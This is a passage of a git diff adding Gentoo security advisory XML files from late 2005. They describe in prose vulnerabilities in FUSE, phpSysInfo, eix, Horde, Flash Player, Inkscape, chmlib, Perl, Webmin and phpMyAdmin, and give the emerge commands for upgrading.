+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/gnump3d-2.9_pre7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3349">CVE-2005-3349</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3355">CVE-2005-3355</uri>
+    <uri link="http://www.gnu.org/software/gnump3d/ChangeLog">GNUMP3d Changelog</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 18 Nov 2005 12:35:13 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 18 Nov 2005 12:35:57 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 18 Nov 2005 22:47:09 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-17.xml b/xml/htdocs/security/en/glsa/glsa-200511-17.xml
new file mode 100644
index 00000000..b50a3f6a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-17.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-17">
+  <title>FUSE: mtab corruption through fusermount</title>
+  <synopsis>
+    The fusermount utility from FUSE can be abused to corrupt the /etc/mtab
+    file contents, potentially allowing a local attacker to set unauthorized
+    mount options.
+  </synopsis>
+  <product type="ebuild">FUSE</product>
+  <announced>November 22, 2005</announced>
+  <revised>November 22, 2005: 01</revised>
+  <bug>112902</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-fs/fuse" auto="yes" arch="*">
+      <unaffected range="ge">2.4.1-r1</unaffected>
+      <vulnerable range="lt">2.4.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FUSE (Filesystem in Userspace) allows implementation of a fully
+    functional filesystem in a userspace program. The fusermount utility is
+    used to mount/unmount FUSE file systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    Thomas Biege discovered that fusermount fails to securely handle
+    special characters specified in mount points.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could corrupt the contents of the /etc/mtab file
+    by mounting over a maliciously-named directory using fusermount,
+    potentially allowing the attacker to set unauthorized mount options.
+    This is possible only if fusermount is installed setuid root, which is
+    the default in Gentoo.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FUSE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-fs/fuse-2.4.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3531">CVE-2005-3531</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 20 Nov 2005 12:06:35 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 21 Nov 2005 13:30:54 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 22 Nov 2005 16:07:17 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-18.xml b/xml/htdocs/security/en/glsa/glsa-200511-18.xml
new file mode 100644
index 00000000..795f1ddc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-18.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-18">
+  <title>phpSysInfo: Multiple vulnerabilities</title>
+  <synopsis>
+    phpSysInfo is vulnerable to multiple issues, including a local file
+    inclusion leading to information disclosure and the potential execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">phpsysinfo</product>
+  <announced>November 22, 2005</announced>
+  <revised>November 22, 2005: 01</revised>
+  <bug>112482</bug>
+  <access>local and remote</access>
+  <affected>
+    <package name="www-apps/phpsysinfo" auto="yes" arch="*">
+      <unaffected range="ge">2.4.1</unaffected>
+      <vulnerable range="lt">2.4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpSysInfo displays various system stats via PHP scripts.
+    </p>
+  </background>
+  <description>
+    <p>
+    Christopher Kunz from the Hardened-PHP Project discovered
+    that phpSysInfo is vulnerable to local file inclusion, cross-site
+    scripting and a HTTP Response Splitting attacks.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker may exploit the file inclusion vulnerability by
+    sending malicious requests, causing the execution of arbitrary code
+    with the rights of the user running the web server. A remote attacker
+    could exploit the vulnerability to disclose local file content.
+    Furthermore, the cross-site scripting issues gives a remote attacker
+    the ability to inject and execute malicious script code in the user's
+    browser context or to steal cookie-based authentication credentials.
+    The HTTP response splitting issue give an attacker the ability to
+    perform site hijacking and cache poisoning.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpSysInfo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpsysinfo-2.4.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.hardened-php.net/advisory_222005.81.html">Original advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3347">CVE-2005-3347</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3348">CVE-2005-3348</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 21 Nov 2005 11:13:22 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 21 Nov 2005 13:32:38 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 21 Nov 2005 18:14:24 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-19.xml b/xml/htdocs/security/en/glsa/glsa-200511-19.xml
new file mode 100644
index 00000000..4feb51f9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-19.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-19">
+  <title>eix: Insecure temporary file creation</title>
+  <synopsis>
+    eix has an insecure temporary file creation vulnerability, potentially
+    allowing a local user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">eix</product>
+  <announced>November 22, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>112061</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-portage/eix" auto="yes" arch="*">
+      <unaffected range="ge">0.5.0_pre2</unaffected>
+      <unaffected range="rge">0.3.0-r2</unaffected>
+      <vulnerable range="lt">0.5.0_pre2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    eix is a small utility for searching ebuilds with indexing for fast
+    results.
+    </p>
+  </background>
+  <description>
+    <p>
+    Eric Romang discovered that eix creates a temporary file with a
+    predictable name. eix creates a temporary file in /tmp/eix.*.sync where
+    * is the process ID of the shell running eix.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker can watch the process list and determine the process
+    ID of the shell running eix while the "emerge --sync" command is
+    running, then create a link from the corresponding temporary file to a
+    system file, which would result in the file being overwritten with the
+    rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All eix users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose app-portage/eix</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3785">CVE-2005-3785</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 21 Nov 2005 09:11:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 21 Nov 2005 20:48:28 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 22 Nov 2005 08:46:22 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-20.xml b/xml/htdocs/security/en/glsa/glsa-200511-20.xml
new file mode 100644
index 00000000..0c56e27b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-20.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-20">
+  <title>Horde Application Framework: XSS vulnerability</title>
+  <synopsis>
+    The Horde Application Framework is vulnerable to a cross-site scripting
+    vulnerability which could lead to the compromise of the victim's browser
+    content.
+  </synopsis>
+  <product type="ebuild">horde</product>
+  <announced>November 22, 2005</announced>
+  <revised>November 22, 2005: 01</revised>
+  <bug>112491</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde" auto="yes" arch="*">
+      <unaffected range="ge">2.2.9</unaffected>
+      <vulnerable range="lt">2.2.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Horde Application Framework is a general-purpose web
+    application framework written in PHP, providing classes for handling
+    preferences, compression, browser detection, connection tracking, MIME,
+    and more.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Horde Team reported a potential XSS vulnerability. Horde fails
+    to properly escape error messages which may lead to displaying
+    unsanitized error messages via Notification_Listener::getMessage()
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By enticing a user to read a specially-crafted e-mail or using a
+    manipulated URL, an attacker can execute arbitrary scripts running in
+    the context of the victim's browser. This could lead to a compromise of
+    the user's browser content.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Horde Application Framework users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-2.2.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3570">CVE-2005-3570</uri>
+    <uri link="http://lists.horde.org/archives/announce/2005/000231.html">Horde Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 20 Nov 2005 18:32:42 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 20 Nov 2005 19:23:12 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 21 Nov 2005 09:22:48 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-21.xml b/xml/htdocs/security/en/glsa/glsa-200511-21.xml
new file mode 100644
index 00000000..111b9c4d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-21.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-21">
+  <title>Macromedia Flash Player: Remote arbitrary code execution</title>
+  <synopsis>
+    A vulnerability has been identified that allows arbitrary code execution on
+    a user's system via the handling of malicious SWF files.
+  </synopsis>
+  <product type="ebuild">Flash</product>
+  <announced>November 25, 2005</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>112251</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-plugins/adobe-flash" auto="yes" arch="*">
+      <unaffected range="ge">7.0.61</unaffected>
+      <vulnerable range="lt">7.0.61</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Macromedia Flash Player is a renderer for the popular SWF
+    filetype which is commonly used to provide interactive websites,
+    digital experiences and mobile content.
+    </p>
+  </background>
+  <description>
+    <p>
+    When handling a SWF file, the Macromedia Flash Player incorrectly
+    validates the frame type identifier stored in the SWF file which is
+    used as an index to reference an array of function pointers. A
+    specially crafted SWF file can cause this index to reference memory
+    outside of the scope of the Macromedia Flash Player, which in turn can
+    cause the Macromedia Flash Player to use unintended memory address(es)
+    as function pointers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker serving a maliciously crafted SWF file could entice a
+    user to view the SWF file and execute arbitrary code on the user's
+    machine.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Macromedia Flash Player users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-plugins/adobe-flash-7.0.61&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2628">CVE-2005-2628</uri>
+    <uri link="http://www.macromedia.com/devnet/security/security_zone/mpsb05-07.html">Macromedia Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 18 Nov 2005 12:28:16 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 18 Nov 2005 22:27:02 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 25 Nov 2005 08:20:52 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-22.xml b/xml/htdocs/security/en/glsa/glsa-200511-22.xml
new file mode 100644
index 00000000..18805282
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-22.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-22">
+  <title>Inkscape: Buffer overflow</title>
+  <synopsis>
+    A vulnerability has been identified that allows a specially crafted SVG
+    file to exploit a buffer overflow and potentially execute arbitrary code
+    when opened.
+  </synopsis>
+  <product type="ebuild">Inkscape</product>
+  <announced>November 28, 2005</announced>
+  <revised>November 28, 2005: 01</revised>
+  <bug>109993</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/inkscape" auto="yes" arch="*">
+      <unaffected range="ge">0.43</unaffected>
+      <vulnerable range="lt">0.43</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Inkscape is an Open Source vector graphics editor using the W3C
+    standard Scalable Vector Graphics (SVG) file format.
+    </p>
+  </background>
+  <description>
+    <p>
+    Joxean Koret has discovered that Inkscape incorrectly allocates
+    memory when opening an SVG file, creating the possibility of a buffer
+    overflow if the SVG file being opened is specially crafted.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user into opening a maliciously crafted
+    SVG file, allowing for the execution of arbitrary code on a machine
+    with the privileges of the user running Inkscape.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Inkscape users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/inkscape-0.43&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3737">CVE-2005-3737</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 23 Nov 2005 12:36:14 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 23 Nov 2005 22:39:24 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 27 Nov 2005 21:35:11 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-23.xml b/xml/htdocs/security/en/glsa/glsa-200511-23.xml
new file mode 100644
index 00000000..3c950d46
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-23.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-23">
+  <title>chmlib, KchmViewer: Stack-based buffer overflow</title>
+  <synopsis>
+    chmlib and KchmViewer contain a buffer overflow vulnerability which may
+    lead to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">chmlib kchmviewer</product>
+  <announced>November 28, 2005</announced>
+  <revised>May 28, 2009: 03</revised>
+  <bug>110557</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/chmlib" auto="yes" arch="*">
+      <unaffected range="ge">0.37.4</unaffected>
+      <vulnerable range="lt">0.37.4</vulnerable>
+    </package>
+    <package name="app-text/kchmviewer" auto="yes" arch="*">
+      <unaffected range="ge">1.1</unaffected>
+      <vulnerable range="lt">1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    chmlib is a library for dealing with Microsoft ITSS and CHM format
+    files. KchmViewer is a CHM viewer that includes its own copy of the
+    chmlib library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sven Tantau reported about a buffer overflow vulnerability in
+    chmlib. The function "_chm_decompress_block()" does not properly
+    perform boundary checking, resulting in a stack-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By convincing a user to open a specially crafted ITSS or CHM file,
+    using KchmViewer or a program makes use of chmlib, a remote attacker
+    could execute arbitrary code with the privileges of the user running
+    the software.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All chmlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/chmlib-0.37.4&quot;</code>
+    <p>
+    All KchmViewer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/kchmviewer-1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3318">CVE-2005-3318</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 25 Nov 2005 10:03:15 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 26 Nov 2005 02:10:11 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 27 Nov 2005 20:16:26 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-01.xml b/xml/htdocs/security/en/glsa/glsa-200512-01.xml
new file mode 100644
index 00000000..7957827d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-01.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-01">
+  <title>Perl: Format string errors can lead to code execution</title>
+  <synopsis>
+    A fix is available for Perl to mitigate the effects of format string
+    programming errors, that could otherwise be exploited to execute arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">Perl</product>
+  <announced>December 07, 2005</announced>
+  <revised>December 07, 2005: 01</revised>
+  <bug>114113</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="dev-lang/perl" auto="yes" arch="*">
+      <unaffected range="ge">5.8.7-r3</unaffected>
+      <unaffected range="rge">5.8.6-r8</unaffected>
+      <vulnerable range="lt">5.8.7-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Perl is a stable, cross-platform programming language created by
+    Larry Wall. It contains printf functions that allows construction of
+    strings from format specifiers and parameters, like the C printf
+    functions. A well-known class of vulnerabilities, called format string
+    errors, result of the improper use of the printf functions in C. Perl
+    in itself is vulnerable to a limited form of format string errors
+    through its own sprintf function, especially through wrapper functions
+    that call sprintf (for example the syslog function) and by taking
+    advantage of Perl powerful string expansion features rather than using
+    format string specifiers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jack Louis discovered a new way to exploit format string errors in
+    Perl that could lead to the execution of arbitrary code. This is
+    perfomed by causing an integer wrap overflow in the efix variable
+    inside the function Perl_sv_vcatpvfn. The proposed fix closes that
+    specific exploitation vector to mitigate the risk of format string
+    programming errors in Perl. This fix does not remove the need to fix
+    such errors in Perl code.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Perl applications making improper use of printf functions (or
+    derived functions) using untrusted data may be vulnerable to the
+    already-known forms of Perl format string exploits and also to the
+    execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Fix all misbehaving Perl applications so that they make proper use
+    of the printf and derived Perl functions.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Perl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-lang/perl</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3962">CVE-2005-3962</uri>
+    <uri link="http://www.dyadsecurity.com/perl-0002.html">Dyad Security Advisory</uri>
+    <uri link="http://www.securityfocus.com/archive/1/418460/30/30">Research on format string errors in Perl</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 01 Dec 2005 12:36:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 01 Dec 2005 16:05:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 07 Dec 2005 10:06:40 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-02.xml b/xml/htdocs/security/en/glsa/glsa-200512-02.xml
new file mode 100644
index 00000000..d6129b2f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-02.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-02">
+  <title>Webmin, Usermin: Format string vulnerability</title>
+  <synopsis>
+    Webmin and Usermin are vulnerable to a format string vulnerability which
+    may lead to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">webmin usermin</product>
+  <announced>December 07, 2005</announced>
+  <revised>December 07, 2005: 01</revised>
+  <bug>113888</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/webmin" auto="yes" arch="*">
+      <unaffected range="ge">1.250</unaffected>
+      <vulnerable range="lt">1.250</vulnerable>
+    </package>
+    <package name="app-admin/usermin" auto="yes" arch="*">
+      <unaffected range="ge">1.180</unaffected>
+      <vulnerable range="lt">1.180</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Webmin is a web-based interface for Unix-like systems. Usermin is
+    a simplified version of Webmin designed for use by normal users rather
+    than system administrators.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jack Louis discovered that the Webmin and Usermin "miniserv.pl"
+    web server component is vulnerable to a Perl format string
+    vulnerability. Login with the supplied username is logged via the Perl
+    "syslog" facility in an unsafe manner.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker can trigger this vulnerability via a specially
+    crafted username containing format string data. This can be exploited
+    to consume a large amount of CPU and memory resources on a vulnerable
+    system, and possibly to execute arbitrary code of the attacker's choice
+    with the permissions of the user running Webmin.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Webmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/webmin-1.250&quot;</code>
+    <p>
+    All Usermin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/usermin-1.180&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3912">CVE-2005-3912</uri>
+    <uri link="http://www.dyadsecurity.com/webmin-0001.html">Dyad Security Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 01 Dec 2005 16:39:12 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 04 Dec 2005 19:02:00 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 05 Dec 2005 03:16:21 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-03.xml b/xml/htdocs/security/en/glsa/glsa-200512-03.xml
new file mode 100644
index 00000000..fc317eab
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-03.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-03">
+  <title>phpMyAdmin: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple flaws in phpMyAdmin may lead to several XSS issues and local and
+    remote file inclusion vulnerabilities.
+  </synopsis>
+  <product type="ebuild">phpmyadmin</product>
+  <announced>December 11, 2005</announced>
+  <revised>December 11, 2005: 01</revised>
+  <bug>114662</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.7.0_p1</unaffected>
+      <vulnerable range="lt">2.7.0_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a tool written in PHP intended to handle the
+    administration of MySQL over the web.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser from Hardened-PHP reported about multiple
+    vulnerabilties found in phpMyAdmin. The $GLOBALS variable allows
+    modifying the global variable import_blacklist to open phpMyAdmin to
+    local and remote file inclusion, depending on your PHP version
+    (CVE-2005-4079, PMASA-2005-9). Furthermore, it is also possible to
+    conduct an XSS attack via the $HTTP_HOST variable and a local and
+    remote file inclusion because the contents of the variable are under
+    total control of the attacker (CVE-2005-3665, PMASA-2005-8).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker may exploit these vulnerabilities by sending
+    malicious requests, causing the execution of arbitrary code with the
+    rights of the user running the web server. The cross-site scripting
+    issues allow a remote attacker to inject and execute malicious script
+    code or to steal cookie-based authentication credentials, potentially
+    allowing unauthorized access to phpMyAdmin.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.7.0_p1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3665">CVE-2005-3665</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4079">CVE-2005-4079</uri>
+    <uri link="http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2005-8">PMASA-2005-8</uri>
+    <uri link="http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2005-9">PMASA-2005-9</uri>
+    <uri link="http://www.hardened-php.net/advisory_252005.110.html">Hardened-PHP Advisory 25/2005</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 07 Dec 2005 12:42:53 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 08 Dec 2005 11:27:37 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 11 Dec 2005 17:53:22 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-04.xml b/xml/htdocs/security/en/glsa/glsa-200512-04.xml
new file mode 100644
index 00000000..0c78d0d9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-04.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
